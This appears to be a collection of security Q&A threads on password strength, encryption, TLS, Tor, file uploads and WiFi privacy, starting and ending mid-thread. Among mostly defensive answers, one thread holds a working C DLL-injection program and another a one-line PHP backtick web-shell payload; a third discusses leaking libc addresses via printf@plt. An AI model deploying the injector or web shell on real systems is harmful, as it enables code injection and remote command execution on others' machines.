And a MS Word doc file (as example) is not very readable, even if unencrypted. Because the formatting part is quite much, and compression algorithms (to save memory) are used.

  Let's say some hacker did steal my computer and really wanted to read
  the files: what would they do to try and crack the encryption? Is the
  encryption key long enough in open office to make solving the
  encryption key take an astronomical period of time?

You don't have a secure-randomly generated key, but just a password, right? Then it usually depends on your password: While it is used to derive a key that is usable with encryption algorithms, the attacker can derive the same key if he has the same password.

The two main possibilities for an attacker:

a) Automatically trying a long list of known passwords, because many people use something easy like 1234 (even if it is not that easy, the lists are really long...)

b) Just trying everything possible, either passwords or derived keys (usually passwords because easier). Takes often longer than a, but will find the right password for sure.

If it is feasible depends completely on your password and on the used software / file format:
Eg. old MS Office 95 has 16bit keys, independent from the password length. This is one of the cases where key guessing is easier, because there are only 65536 possible keys. Maybe this sounds much, but it's so bad that it's not even funny. Even on a modern school calculator, it wouldn't be slow enough to get a coffee.
The newest version of LibreOffice, as comparison, uses AES256+PBKDF2+SHA1: With a good password, even the best hacker shoudn't be able to do anything.

And what's a good enough password, assuming you want to protect yourself against NSA&Co.? Current realistic cracking efforts seem to be able to break 72 high entropy bit, let's use 80 to be secure. If you use a (good) password generator instead of choosing your own password, and you want passwords with uppercase+lowercase+numbers, this means you need at least 13 characters. If you choose your own password ... according to NIST (800-63), long human passwords average on 1.5 per character, this means at least 54 chacacters long.


DLL injector in C doesn't inject the DLL I am trying to write a DLL injector to perform a DLL injector on a calculator process.

I wrote the DLL injector program in C and the DLL but the injector doesn't inject the DLL or any other DLL (I tried to take some random windows DLL that the calculator doesn't use).

#include <Windows.h>
#include <stdio.h>

int main() {
    // The DLL path we want to inject and the target process id.
    char* dllpath = "C:\\Users\\......\\Dll1.dll";
    int processID = 5844;

    printf("#### Starting ####\n");

    // Open target process handle
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processID);
    if (hProcess == NULL) {
        printf("[!] Unable to find the target process id: %d\n" , processID);
        return 1;
    }
    printf("[+] Open target process handle\n");

    // Getting targt memory address for the dll path
    LPVOID dllpathMemoryAddr = VirtualAllocEx(hProcess, NULL, strlen(dllpath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (dllpathMemoryAddr == NULL) {
        printf("[!] Unable to get memory address of target process for the dllpath");
        return 1;
    }
    printf("[+] Allocate the memory address to store the dllpath\n");

    // Writing the dll path to the target memory address
    BOOL succeedWrite = WriteProcessMemory(hProcess, dllpathMemoryAddr, dllpath, strlen(dllpath), NULL);
    if (!succeedWrite) {
        printf("[!] Unable to write to the memory address of target process the dllpath\n");
        return 1;
    }
    printf("[+] Writed the dllpath to memory\n");

    // Getting LoadLibreryA address
    FARPROC loadLibAddr = GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "LoadLibraryA");
    if (loadLibAddr == NULL) {
        printf("[!] Unable to get the memory address of LoadLibraryA function\n");
        return 1;
    }
    printf("[+] Allocate the memory address to LoadLibraryA function\n");

    // Create remote thread on the remote process to load the dll
    HANDLE rThread = CreateRemoteThread(hProcess, NULL, strlen(dllpath), (LPTHREAD_START_ROUTINE)loadLibAddr, dllpathMemoryAddr, NULL, NULL);
    if (rThread == NULL) {
        printf("[!] Unable to create thread to execute the LoadLibraryA function\n the error: %u\n", GetLastError());
        return 1;
    }
    printf("#### DLL INJECTED ####\n");

    return 0;
}

after running the injector I get this output:

#### Starting ####
[+] Open target process handle
[+] Allocate the memory address to store the dllpath
[+] Writed the dllpath to memory
[+] Allocate the memory address to LoadLibraryA function
#### DLL INJECTED ####

after that, I am still unable to see in process explorer the new DLL.

Your code works fine. The problem is that you're almost certainly trying to load an x86_32 DLL into an x86_64 processor, or vice versa.

I compiled your code and tested it against VLC and Notepad, and in both cases the operation succeeds when the target path is for a 64-bit DLL. Keep in mind that many "random" binaries in the System32 folder are not 64-bit even on a 64-bit OS.

The other failure case might be that you're targeting a process with an image loading policy or a binary signature policy applied, and the target DLL does not meet the requirements. The most common case is either that the DLL does not have a Microsoft signature, or the DLL file has a low integrity label applied.


Can JavaScript code in browser be modified by hacker to gain access to unauthorized resource? I have Spring Boot API app on the server side and VueJS app on the client side. Upon successful login, the server side sends JSON response that includes accountType with value either VIEW_GOLD or VIEW_SILVER, if accountType is VIEW_GOLD, the user is directed to view list of GoldBar object and so on like in this code in client side VueJS:

         if (response.data) {
             if (response.data.accountType === 'VIEW_GOLD') {

               $this.$router.replace({ name: 'GoldBars'})

             }
             else if (response.data.accountType === 'VIEW_SILVER') {

               $this.$router.replace({ name: 'SilverBars'})
            }

The question is can a hacker view Goldbars when the  accountType is VIEW_SILVER by using hacker browser such as Tor ?

Every browser comes with powerful development tools. The usual hotkey to access them is F12.

Any user could use the JavaScript debugger of their browser to set a break-point in the line if (response.data), wait until the break-point is reached, edit the value response.data.accountType to read VIEW_GOLD while the execution is paused and continue the execution of the javascript.

Some browsers like Chrome even allow to edit the JavaScript code of a website while it is loaded.

There is nothing you can really do to prevent users from using these tools.

So follow the dogma never trust the client! do not handle anything related to permission handling on the client-side. The server should know the permission level of the user and simply refuse to serve any information the user is not supposed to have access to.

By the way: This dogma does not just apply to web applications but any form of client-server architecture. The debugging tools for a binary client might not be as readily accessible as those in web browsers, but they do exist.


How come a controlledly generated password is more secure than a purely randomly generated one In a software like keepassx, to generate passwords, there's usually the option to tick some boxes. For instance, a box that makes sure that at least 1 character from every lists of characters has been chosen. Where the lists of chars can be lower cases, upper cases, digits, special chars, etc.

I understand that a purely randomly generated password can produce passwords like "aaaaaaaaaaaaaaa" which aren't secure. But in average, I don't understand why making sure that there's at least 1 char from every lists is more secure than a purely randomly generated password.

How come it's possible to "beat" (in terms of security) a purely randomly generated password? Shouldn't these kind of passwords contain the most entropy in average, rather than a password made with human intervention?

Edit: If I have to assume I must protect against a cracker, I assume he uses all possible kinds of attacks. Brute force, dictionary, etc.

Edit 2: I've been thinking on it during the night. I noticed that if the password is very large (say length > 25) then the difference between ticking the box to make sure that there's at least 1 char from each group and not ticking the box is almost nil. Because the probability that there's no char from each group is very low. The other extreme case is when the password is very small, say of length 4. The case is more complex and I'm not sure which is more secure against all possible kinds of attacks.

Many sites have complexity requirements. One advantage of the check boxes is to guarantee your password will actually be accepted by the website that you are generating it for. Another reason is psychological. People will believe the password is less susceptible to guessing if it has these character requirements. Realistically, a password with 80 bits of entropy that is completely random and a password with 80 bits of entropy that has these requirements are both strong enough that guessing or a brute force attack should never be an issue, even if for no other reason that the attacker will get enough passwords that running his brute force machine for another few years just to get the last 0.25% of the password hashes that he stole broken isn't worth it.

Edit:
I'd like to emphasize that determining how much entropy a password has is not so much an exact science as it is an approximation. As discussed in one of the links in Jedi's answer, different password generators have different algorithms for this, so if KeePass says one password "beats" another in terms of calculated entropy, but the difference is only 1 or 2 bits out of 30+ total bits then there may not really be an advantage of choosing one over the other. Of course with very small passwords a single bit may be significant, but I hope everyone reading security.se keeps away from obviously horrible passwords.


svchost.exe has strange outbound tcp connections I installed comodo firewall and svchost.exe has some strange outbound tcp connections. I have turned off the p2p windows update in advanced update settings.
Ip lookup shows connections are to Bangladesh, Mexico, Indonesia, India and one to Hurricane Inc, USA. Now I know for a fact that hurricane inc,fremont is a proxy server. Is my computer infected or is this normal behaviour ?

screenshots of ip lookup :-
https://imgur.com/a/u5qbW

I had the same issue after installing Comodo firewall; svchost.exe was establishing multiple outbound connections to the internet.

I tried to block the process, but since it's a system process, I ended up losing the internet.

The solution was to allow UDP and block TCP for the svchost process.

P.S. running Windows 10 64bit


Typed password in the username text box but didn't hit enter. Should I still change the password? I know that if I type a password in the username text box and hit enter it is better to change the password just in case. But is it still risky to have written it in the box (with no one watching) without having hit the "log-in" button?
Could it be a problem if this happened using public WIFI?

I'm a frontend developer and have made many forms over the years. First, some baseline info:

Form data is not generally saved or processed unless its physically submitted. This is also a browser default for security of the user.
Form data is not even entered into any browser cache unless submitted.

However, the default behavior can be changed by the developer of the website using JavaScript. This could include posting the data in the user name field to their backend as you're typing the data without submitting it.

To check this you can open up your browser's developer tools console and check the network tab. With it open, type in the username field. Then leave it for a minute to see if there's any polling to the server happening. If any JS is firing off data to any backend you will see this as requests stacking up in the Network tab.

Another possible way your information could be compromised by typing your password into your username field could be session recording services. If the website employs one of these services (such as FullStory, Matomo, etc.) then it's possible your input was recorded and can be reviewed by someone later. You can peruse their JavaScript libraries and identify each script and what it does.

Doing the above steps should give you some piece of mind as to the safety of your password. Especially if it's not easily changeable.

Bottom Line

If it's a trivial task to update your password, you may as well do it out of an abundance of caution. It would probably end up being easier than to go through all the investigation steps I mentioned above.


Is it safe to reveal table column names in ajax? I have a table like...

THINGS_TABLE
============
thing_key           int              PRIMARY KEY
thing_num           varchar(20)
thing_title         varchar(20)
thing_description   varchar(20)

And some ColdFusion (server-side code) functions that can add, edit and delete from this table. For example a createThing function might look like this in ColdFusion. The cfqueryparam parameters in the cfquery should prevent SQL injection, so I don't think SQL injection is something I need to worry about.

<cffunction name="createThing" access="remote" returntype="void">
    <cfargument name="thing_num" type="string" required="yes">
    <cfargument name="thing_title" type="string" required="yes">
    <cfargument name="thing_description" type="string" required="yes">

    <!--- write to db --->
    <cfquery name="createThingQuery" datasource="my_datasource">
        INSERT INTO THINGS_TABLE (thing_num, thing_title, thing_description) values (
        <cfqueryparam cfsqltype="cf_sql_varchar" value='#thing_num#'>,
        <cfqueryparam cfsqltype="cf_sql_varchar" value='#thing_title#'>,
        <cfqueryparam cfsqltype="cf_sql_varchar" value='#thing_description#'>)
    </cfquery>
</cffunction>

Is it safe to reveal the actual column names in ajax calls that run the server-side code? For example, an ajax call that might look like this:

$.ajax({
    type: "POST",
    url: "thingFunctions.cfc",
    data: { method : "createThing",
            thing_num : "the number",
            thing_title : "the title",
            thing_description : "the description"
            }})

This ajax makes it really obvious what the actual column names are in the database, and it is certainly possible for my ColdFusion function to use different argument names, but is there actually any advantage to use different names? It seems to me like it might just make the code more confusing for a developer to read, without providing any advantages from a security standpoint.

Also, perhaps there are other issues with using ajax calls like this that I'm not thinking of? I.e. a user maybe could edit the page JavaScript and call my ColdFusion code in ways it wasn't originally intended?

I would agree with Xiong that obfuscation of table column names makes your code more complicated, and harder to understand. If you do this with every table, you might confuse other developers (or yourself, looking at the code a year later).

(I assume that your database is not directly reachable from the internet, but only through your own backend. If it is, you should review your architecture.)

  Also, perhaps there are other issues with using ajax calls like this that  I'm not thinking of? I.e. a user maybe could edit the page JavaScript and call my ColdFusion code in ways it wasn't originally intended?

Be always prepared that your API might not only be called from your own web page, but also from a curious developer, trying it out for fun, after having looked at the JavaScript code or HTTP traffic:

You should always validate user data before persisting it. Otherwise you might end up fixing data causing exceptions somewhere in your backend (e.g. trying to parse a string as date, but having just a garbage string value).
If your API route causes database rows to be added, it should probably only be available to authenticated users.


`$_GET[1]`; payload why work in php short tag only? when I try to use this payload:

<?= `$_GET['1']`; ?>

it works in php-short-tag but when I do this:

<?php `$_GET['1']`; ?>

it's not working, and give me blank page.

Can anyone explain this?

<?= is shorthand for <?php echo. The second one isn't echoing anything, so the page is blank.


What is the best way to securely keep clear passwords? I'm working on a web project that will connect to a database. For that, I will have to store the login/password of that database user in clear (encrypted in a symmetrical way) in order to be able to reconnect for every action (like creating table, adding entries, etc) without having to ask for those credentials everytime.

I'm aware that storing the password in clear is way too insecure and out of my possibilities.

Here's what I thought, could you tell me if it would be correct or/and if there is a better possibility? thanks :)

The application will be splitted in two independant parts : the frontend and the backend.

When the user log in via the frontend, the login and password are sent in clear (I will recommand the use of HTTPS). The backend will try to connect to the database, if it's successful, it will encrypt the login and password using Blowfish, and return them to the frontend.

For any subsequent requests, the frontend will have to send the encrypted login/password, without ever knowing the clear one, just the encrypted one.

If someone get access to the data of this user (XSS for example), he only will be able to access the encrypted credentials, not the clear one.

If an attacker can do a MITM, only the initial log in is risky, all the next requests will be with the encrypted credentials.

I thought about using cookies/session, but it's the same : values are stored in clear or base64 encoded. Not really secure!

The idea of Blowfish come from how PhpMyAdmin use it (aka, the same). Moreover, even on PhpMyAdmin, the login part is also sent in clear.

Do you think my implementation is correct, or do you have something better to suggest? I'd really like to do something as secure as possible. So far, only the login part bothers me :/

Thanks for your ideas.

EDIT:

Apparently, my question is not clear enough, I'm gonna try to be more explicit :

I want to build an alternative to PhpMyAdmin. PhpMyAdmin is a middleware that connect to a MySQL server by giving the login/password of any user in that database. The credentials asked in the web form are the one used for the MySQL database.

So, during the whole session after the user successfully logged in, PhpMyAdmin store the login/password in the session by encrypting the password using Blowfish.

This CAN NOT be avoided, because every time the user make a request (like creating a table, inserting data, updating or deleting data), PhpMyAdmin NEED to reconnect to that database using the credentials given at login, and then do the action the user requested.

It's then not possible for PhpMyAdmin to only store a hash of the credentials because it won't be able to reconnect to the database during subsequent requests made by that same user.

I'm aware storing password that can be retrieved in clear is not a good solution at all, and that is the reason of this question : not telling me that hashing is better, because it's absolutely useless in my case, but to know if there is a better alternative than symmetrical encryption + HTTPS for keeping a password that is needed for every actions the user make.

Now that the question has been revised, I understand what you're trying to do much better.

The short answer is: Just store the database password in the clear, in the (server-side) session object.  You cannot do any better.

If you want, you can encrypt the database password and store the encrypted password in the session object, but there's really no point, because where are you going to store the key?  There is no place you can store the key that is much more secure than the session object.  You could store the key in a configuration file or a global variable, but really, I'm not sure that this adds any security against any realistic threat.  It's hard to see why to bother -- it feels like security theater to me.

So, just have the user enter the database password at the beginning of the session, store the database password in the session state, and be done with it.  There is nothing better you can do.

And for heaven's sake, use good web application programming practice.  Check out the OWASP resources.  Make sure you are familiar with the common web vulnerabilities seen in the web world.  Write your code carefully, using good security practices.  And ask someone else who knows something about security to do a security review of your code.  If there's a security vulnerability in your code, bad things are going to happen.


PayPal is asking for my Bank Details. How secure is this? I am from the UK but I'm living in Poland. I have two British bank accounts and a Polish account. The two British accounts are linked to a PayPal account registered from the UK and the Polish one is linked to an account made in Poland. Today I could not add instant funds to my Polish PayPal without using a third party (Trustly) who requested my internet banking credentials in order to verify my transaction. I have not been asked this with my British accounts. There is no information on PayPal (English or Polish) nor from my banks about this procedure being added. I was definitely on Paypal.pl and not a phishing site.

This got me wondering a few things:

Why does the PayPal process suddenly require my bank credentials and why have their customers not been informed of this change? To reiterate, nowhere on Paypal's English or Polish language site does it mention this change, nor does anyone from my bank know about it. They encouraged me to sever all ties with PayPal over this, as technically a financial organisation requesting your bank details is illegal under a certain EU law. Couldn't find that online, though, so take that with a pinch of salt.
Is such a system secure? Everything we learn about internet security and indeed everything I've learned in life is to trust as little people as possible. I went with the bank I'm using in Poland because they offer a higher level of verification for internet banking than the others.
As a developer myself, I'm guessing they'll scrape the online bank site to verify the credentials I provided are correct as a sort of verification system. The thing is, PayPal did this in the form of a small deposit that we enter the amount for. Why is the third party asking for a more trusting approach than PayPal themselves? Doesn't this seem odd? PayPal are essentially asking us to trust a third party more than themselves, which makes me quite uncomfortable.

What are your thoughts on this? Is it secret? Is it safe? Why have PayPal been quiet about it? Why not Britain as well? I wouldn't trust PayPal with my bank details, so why would I trust a third party I've never heard of before? There is so much about this that seems very suspicious to me. I was quite convinced I'd found my way onto a phishing site because it was hard to believe they wanted my credentials.

-- Edit with additional information:

The certificate on Paypal.com is indeed PayPals, verified by Symantec, etc.
The website PayPal directs to when trying to add Instant Funds is Paypal-Doladowania.pl. In Polish, Doladowania means "Adding Funds" in this context. The HTTPS certificate is registered Paypal PTE Ltd, verified by DigiCert, registered in Singapore. No EV on either sites.

Here's a picture of the Trustly page asking for my credentials. In English it says "Please enter the identification credentials for your online banking."

If I enter some numbers (I just mashed the keys) they then ask me to do this:

Which is the partial password system this particular bank is using. So login to your bank account through a third party... I don't think so.

PayPal is NOT asking for your bank details. It is Trustly that is asking for your bank details.

Trustly is a Swedish company. It operates in Sweden, Finland, Poland, and a few other companies. They have an agreements with Paypal to provide options to top up your Paypal account (similar agreements are made with Skrill/Moneybookers). This is not a scam.

Now here's where it gets complicated. Trustly does indeed ask you for a full access to your bank account using your bank credentials. They promise you that they won't misuse the access and they'll only use that access, in your case, to transfer money from your bank account to your PayPal account. Trusting them and believing that promise is completely up to you. Keep in mind that since Trustly is a Swedish company that handles financial information, it falls under the strict Swedish Finansinspektionen's (Financial Supervisory Authority) regulations, which means the company is legally liable if misuse/abuse of your data occurs because of them.

If you decide that you don't trust Trustly, then you can revert back to using the non-instant top-up option by sending the money manually from your bank account to your PayPal account using the top-up information copied from your PayPal account.

In short:

Trustly has an agreement with PayPal, so it's not a scam.
Trustly asks you for full access to your bank account through your credentials.
It's up to you trust them not to abuse this access.
If you don't trust them, use the traditional PayPal account top-up.


Do long lived TLS connections pose a security risk? I would like to better understand the implications of maintaining a long lived (hours, days) TLS connection with respect to certificate revocation. As I understand TLS, the client verifies the server's certificate during the handshake and then never again for the duration of the connection.

After establishing a long lived connection, if the server's certificate were to be revoked, I expect that a client which uses OCSP to check revocation would not discover that the server's certificate has been revoked until the next time it establishes a new connection to that server. I suppose the client could periodically check the server's certificate status in a background thread while the connection is open, but I am not familiar with any guidance that recommends checking revocation this way.

Generally, how do TLS clients with long lived connections mitigate the risk of certificate revocation? Do they periodically reestablish connections to force a new handshake?

One place to look for more information about this could be VPNs that use SSL/TLS.

For example with OpenVPN you have to explicitly kill the client connection if it is active:

"...and have the new CRL take effect immediately for newly connecting clients. If the client whose certificate you are revoking is already connected, you can restart the server via a signal (SIGUSR1 or SIGHUP) and flush all clients, or you can telnet to the management interface and explicitly kill the specific client..."

https://openvpn.net/community-resources/revoking-certificates/

I'm not finding anything on clients checking server certs unfortunately.


Is it possible to pass TCP handshake with spoofed IP address? Little time ago, me and my friends argued if TCP handshake can be passed with a spoofed IP address.

Assume I have a web server that allows only certain IP addresses.
Can anyone connect that web server by IP spoof?

Short answer: no.

Longer answer: yes, if you control a router device close to the target device (it has to be on the path between the the real source IP address and the target, and on the path between the faked IP address and the target) or if the target network/host accepts source-routed packets.


Is there any security risk in storing hashed variations of passwords? For example, if hypothetically an application requirement was to tell users when their password might have failed because caps-lock was turned on, and hypothetically there was no way for the application to actually know that caps-lock was turned on, is there any inherent security risk in storing a hashed password as well as a hashed "caps lock" version of a password so that a failed password can also be compared against the "caps lock" version?

If a database containing user accounts with this setup was breached, would the existence of the "caps lock" password hash in addition to the normal password hash make the passwords any more vulnerable than they would be otherwise?

Note this is a hypothetical and I'm interested more in the security implications than whether this is a good programming practice.

Interesting question. I guess it depends which and how many versions you are storing. The main concern in doing so is how much you are reducing the search-space / entropy.

If, for example, the caps-lock version of the password is an all-uppercase version of the password, then by storing it this way, you are reducing the entropy of the password. The attacker in this case only has to search using the caps-lock version using only uppercase character-set. That gives them a significantly easier job.

If however, the caps-lock version is simply a case-reverse of the letters, i.e. normal password == aXbJklMP and caps-lock version == AxBjKLmp, then you're probably not hugely reducing the search space. There are still two possible passwords instead of one, making the search twice as likely to find one of those passwords though...


Someone is trying to access my mail account, what safe actions can I take? Intro

I have a free mail account on this (german) website. If I type my password wrong I get, once successfully logged in, a message telling me about my failed log-in attempt.

Problem

Recently I noticed that from day to day the site notifies me of numerous failed log-in attempts (between 8 and 32). There is no feature as in GMail, where location and device of the failed log-in are recorded, so I am a bit in the dark. And also quite worried.

Question

I have changed my password everday for four days now. Immediately closing the account is not an option since I still have to compile a list where this mail address is used.

What appropriate steps to secure my account are to be taken at this point?

Update

The log-in attempts have declined over the last three days, maxing out at around ten altogether. Yesterday there was no failed log-in attempt logged.
Nevertheless I resorted to your many suggestions and

contacted GMX support, but have not heard back from them (certainly not using their 3€/min rip-off hotline)
started using a password manager
created easy-to-remember-but-hard-to-guess passwords
started forwarding mails from the affected account to a more safe mail service
learned about 2FA
wrote down all the sites and services the affected address is used with, in order to swiftly be able to close my account

Since there are many good answers I will wait a few days and mark the one with the most up-votes as the final answer. Thanks for your help!

As far as I can tell, gmx does currently not offer 2FA. That is unfortunate but not necessarily catastrophic.

Do you have to use the address to send e-mail? If not you might be able to get around the problem by just forwarding incoming mail to another account, preferably one with 2FA enabled. After you set up a forwarding rule, you can put a really, really long and secure password (50+chars) on the account and save it somewhere safe.

Otherwise you'll probably have no real chance to secure the account itself.

You are currently using passwords with a length greater than 20 chars, I hope? If not, start doing so immediately. Use a password safe so you don't have to memorize them.

Also, please get the gmx security team involved. Probably it's just skiddies or bots (I had an attack like that on an old address I don't use anymore) but if not they might be thankful for a hint.

Note that I mentioned using a long password and not one drawing from a large character set.

The complexity of the character set does not by itself make your password better. Length runs circles around complexity while juggling chainsaws.

See this relevant xkcd comic for a visual explanation.


Would a massive blacklist of guessable passwords be useful? Suggestions to make a good password all focus on creating a string that a computer (or more likely, a network of computers with multiple GPUs) can not guess. Putting a password meter for when users create passwords can help against this a little, e.g. by enforcing a password at least 8 characters long with a mix of cases, letters, numbers, and symbols. But password meters and rules can't protect against the following passwords, which all look pretty good:

qeadzcwrsfxv1331
Coneyisland9/
n3xtb1gth1ng,
Oscar+emmy2.
":LOL1313le
Sh1a-labe0uf,
DG091101%

All of these passwords were cracked quickly for this article on Ars Technica. It seems impossible to compete with the complexity, creativity, speed, and comprehensiveness of cracking algorithms.

So here is my question. If, in theory, a few hundred crackers used their hardware and cracking programs to generate a massive list of all of their guesses--and they continued adding to it, so that the list would include any new guesses likely to be folded into cracking programs (e.g. say another site gets hacked, all the leaked passwords would go into the blacklist), would this be feasibly useful as a secure password generation tool? Or would it be easily circumventable or does it have some massive problem I'm not seeing?

Since this massive blacklist would probably have to be crowdsourced, and therefore available to crackers, and potentially even something that crackers could add to, are there ways it could be used to a cracker's advantage? Or would using this list make their job harder no matter what?

Any other reasons why it wouldn't be useful?

Those passwords are based on offline attack -- that is, the attacker has the hash and is trying to crack it.  If that's your concern, use something like scrypt, bcrypt, or PBKDF2 to harden your password hashes and make them harder to attack offline.

If you're concerned about online attack, just limit the rate of account logins with some sort of exponential backoff, or block the IP after some number of bad login attempts.  Either way, you'll make the online attack so slow that the attacker won't get past 'p4ssw0rd'.


Tor and (SSL) response I have two questions regarding Tor (onion routing).

How do I receive responds from a server when I use onion routing, I've read that, the last node(exit node) will use the same path I used but in the reverse order, but that means that
the last node will know who I am. It was never clear anywhere but I guess that the exit node(node 100) has saved only the node before it , only knows node99 ,  and node99 knows only node98 etc, but that still doesn't make any sense since if the exit node , knows only
the node before it, it will encrypt only with the public key of the node before it, etc.. .
So the communication is still not safe.

Also question2

If I the website use SSL how will the onion routing work?
If its like this
me->encryption node1->encryption node2->...->encryption node100->website running SSL.
Will I be the one to encrypt the connection from node100 to the website running SSL, or will
node100 do that work?
Meaning can node100 view the message I want to send the the website running the SSL and then
encrypt the message with the public key of the website, or do I encrypt it the first place
making impossible for node100 to view the message.
And when the website responds , it will respond encrypting the message with the public key
of node 100, right?

Edit to reply to @Phillip

[Me]=>Node[1]=>Node[2]...=Node[Exit]=>SSL-Site , exit node doesn't know the clear text cause I encrypted with the site's public key(SSL).

SSL-Site=>(SSL encrypted with my public key)Node[Exit]=> Node[Exit-1]=>...=>[Me]

How does the site know that the message should be encrypted with my public key, and If it does isnt it easy for an attacker to find out who am I(if he controls that SSL site), also how does Node[Exit] know how to send the response back to me?
Is Node[Exit] a trusted node that can betray me or keep me anonymous, meaning all my anonymity depends on how trusted that node is?

The reason onion-routing is called onion-routing is because the encryption has many layers around each other, just like the many layers of skin of an onion.

Image Source: Wikipedia

Every node adds an additional layer of encryption. When you send a message (let's assume non-https for now) via the routers 1, 2 and 3, you encrypt it with the pubkey of router 3, then you take the encrypted message and encrypt it with the key of router 2 and then you take that and encrypt it with the key of router 1. Each router can then "peel off" its layer of encryption, finds another encrypted message and the address of the next router. It then forwards the message to that router. The final router sends the clear-text message to the final recipient. The final router must know the clear-text, because the recipient doesn't expect encrypted communication.

When you additionally use HTTPS, the message itself will also have an additional layer of encryption between you and the recipient. In that case the final router does not learn the true content of the message.

But how do the routers know how to sent the message back? This is only possible when the exit-node also knows the public keys and addresses of all the nodes of the circuit. But in order to encrypt the response, it doesn't need to know the identity of the source. Only the entry-node needs to know this.


Why should we care about Adobe Flash? I was under the impression that Adobe Flash was dead, and that browsers were no longer natively supporting Flash?  Why therefore, is there a large amount of hype online about a new remote code execution vulnerability in flash?

The short answer is that it takes a loooooong time for software to die. Even in 2018 we still have COBOL running multi-billion dollar companies, despite COBOL being a "dead" language for decades.

The longer answer is there's still a significant amount of websites that require Flash, and people re-enable Flash for practical reasons.

Oftentimes these are "mission critical" internal corporate websites or schools that haven't put a priority on replacing legacy applications based on Flash.  This might mean using older browsers where Flash isn't disabled, or just users being trained to re-enabled it every time.

Across the board, the numbers as of April 2018 are around 5% of websites according to https://w3techs.com/technologies/details/cp-flash/all/all

So I wouldn't say Flash is "dead", but it is slowly dying.


When using AES and CBC, is it necessary to keep the IV secret? If I encrypt some data with a randomly generated Key and Initialization Vector, then store all three pieces of information in the same table row; is it necessary to encrypt the IV as well as the Key?

Simplified table structure:

Encrypted data
Key (encrypted using a second method)
IV (encrypted?)

Please assume that the architecture and method are necessary: The explanation behind it is lengthy and dull.

From Wikipedia:

  An initialization vector has different security requirements than a key, so the IV usually does not need to be secret. However, in most cases, it is important that an initialization vector is never reused under the same key. For CBC and CFB, reusing an IV leaks some information about the first block of plaintext, and about any common prefix shared by the two messages.

You don't need to keep the IV secret, but it must be random and unique.


Leak a GOT entry using return-to-printf@plt I have a small binary compiled as non-pie, but ASLR is enabled, so the shared libraries are randomized. My plan was to leak any libc address from GOT via returning to plt, but the only useful  plt-stub i have is a printf. Previously i wrote a working exploit with this method, when i could use puts, but in this case the only output i get after returning to printf@plt is an empty string.

I couldn't find out the reason of this behavior so far; why printf acts like this?
Is it even possible to leak an address this way?

Yes, I think it's possible to leak an address using printf. In puts you only need to pass one argument to the function, the string you want to write to stdout, and in a case of a buffer-overflow the address of the function you want to leak. In printf you also need to pass a format specifier. There's a write-up here that demonstrates exactly that.


Unrestricted File upload I am working on a file upload feature in our app. Users can also download uploaded files from the app. To prevent malicious file upload, I am checking magic bytes of the file to find the file type uploaded and verify its part of my whitelist (doc", "pdf",xls", "xlsx", "docx", "png", "jpeg", "ppt", "pptx", "msg", "jpg", "gif").

I am good so far and now it occurred to me a scenario where in user can upload a file say like

ms word which can have an embedded exe or any malicious file.
outlook message item which can have an malicious file attachment.

Are these scenarios valid case of attacks on Unrestricted file upload?
If so how to handle these? Appreciate any insights on this.

You can run Anti-Virus Scan on them. In simplest scenario, you could use free clamav antivirus. You can also use commercial scanners with file server license or something similar. This would give you maximum flexibility as well low false-positive ratio.

Also, you can sanitize files like they propose on OWASP.

According to this, you can search for OLE objects in Office Documents, embedded files in PDF, and I think both can produce false positives.

Regarding images they propose you use graphics library to recreate the image from original data by resizing it slightly.


Hide devices connected to WiFi I'm a noob in home security and networking. I suspect one of my neighbor is sniffing packets destined to my wifi router. I have many questions about this

Will they be able to identify the no. of devices I have connected to the router?
If yes, is there a way for me to hide the device details from packet sniffers?
Will they be able to break my WiFi password if they are aware of web pages I visit regularly. Like a specific youtube channel etc?

When using WiFi i.e. 802.11 as the link layer, the frame headers aren't encrypted, revealing three MAC addresses (actually four, but the fourth is only used in ad-hoc mode). If you are more interested in the theory and how it looks like, you could read my more detailed answer to question "What does WPA2 traffic look like to a packet sniffer that is not connected to the network?"
This answers your first two questions:

From the MAC addresses it is possible to know the number of devices and mostly their manufacturers, too, as the first three octets are the organizationally unique identifier (OUI). The number of different MAC addresses will reveal the number of devices connected to the access point.

It is impossible to hide this information. While it is easy to spoof MAC address with computers, that does not work for all IoT devices. Also, spoofing and even changing the MAC address from time to time does not really hide the number of devices connected at a certain time. It can merely hide the vendor.

The last question depends on the encryption you are using. I assume you have properly protected your network with WPA2, and as a home user it is probably WPA2-PSK (pre-shared key), hopefully with AES (see e.g. Chris Hoffman: Wi-Fi Security: Should You Use WPA2-AES, WPA2-TKIP, or Both? for more details on why this matters).

With WPA2-PSK, it is not possible to deduce the pre-shared key from the encrypted data. It does not matter whether someone sniffing your network does know the sites or not, as this information is within the encrypted payload.

However, it works the other way around. If an attacker can get your pre-shared key i.e. your "WiFi password", it will be possible to encrypt everything that has been captured from the network, given the capture contains the 4-way handshake. It is easy to deauthenticate a device, forcing a new 4-way handshake, so it is wise to always assume the attacker has it. It is also possible to try and brute-force the PSK against the captured traffic. For these reasons, you should use a long, random PSK and not keep it in a visible place.


Access via link in Email - How can I make this most secure? I need your professional opinion on this matter, please.
The app I'm building has 2 parts: Teachers & students.
Teachers use the app to build a project and attach students to it.
Then, the students access the project in our system and complete some tasks.
We don't want the users to register or use an existing account (via oAuth2). We simply want them to have a quick and simple way of getting in the system, with as little setup as possible.
Should be noted that we need to allow multiple entries from different locations.
Each student will have multiple "access points", one for each project he's attached to.
The reason we care so little about the possible thefts that can occur is that the students have very limited possibilities, and the data that is shown to them isn't confidential.
I can think of 2 suitable options:

Send the student an email with a link that contains an access key, for example: example.com/students/skfn38rhsah93e2dsasdsd2.
The link will not expire.
Send the student an email with a link and a short access key which will be required by the link, for example:
Link: example.com/students/dfwkl4tihifhdso03n
Access Key: A7F21D

The 2nd option is more secure because the 1st will get saved in browser history, sent in the http referrer and generally exposed. Using the 2nd option insures that whoever accesses the link has/had access to the Email account. However, it is a slightly longer process for the student.
So my questions are:

Is the added security the 2nd option delivers worth the longer process, in your opinion? I know this is a subjective question, but your opinion means a lot to me.
If you think the 1st option's better, how long should the access key be?
I want to embed the student ID and the project ID inside it, so I was thinking about using JWTs, but they are 220 characters. Is it too much? (URLs can contain up to 2000).
If you think the 2nd option's better, how long should the access key be?
How should I design the link? Same as in the first option? (using a JWT)
Is there a better way?

Thanks for helping!
Note: I'm planning on using SSL, just FYI.

Is the added security the 2nd option delivers worth the longer process, in your opinion? I know this is a subjective question, but your opinion means a lot to me.

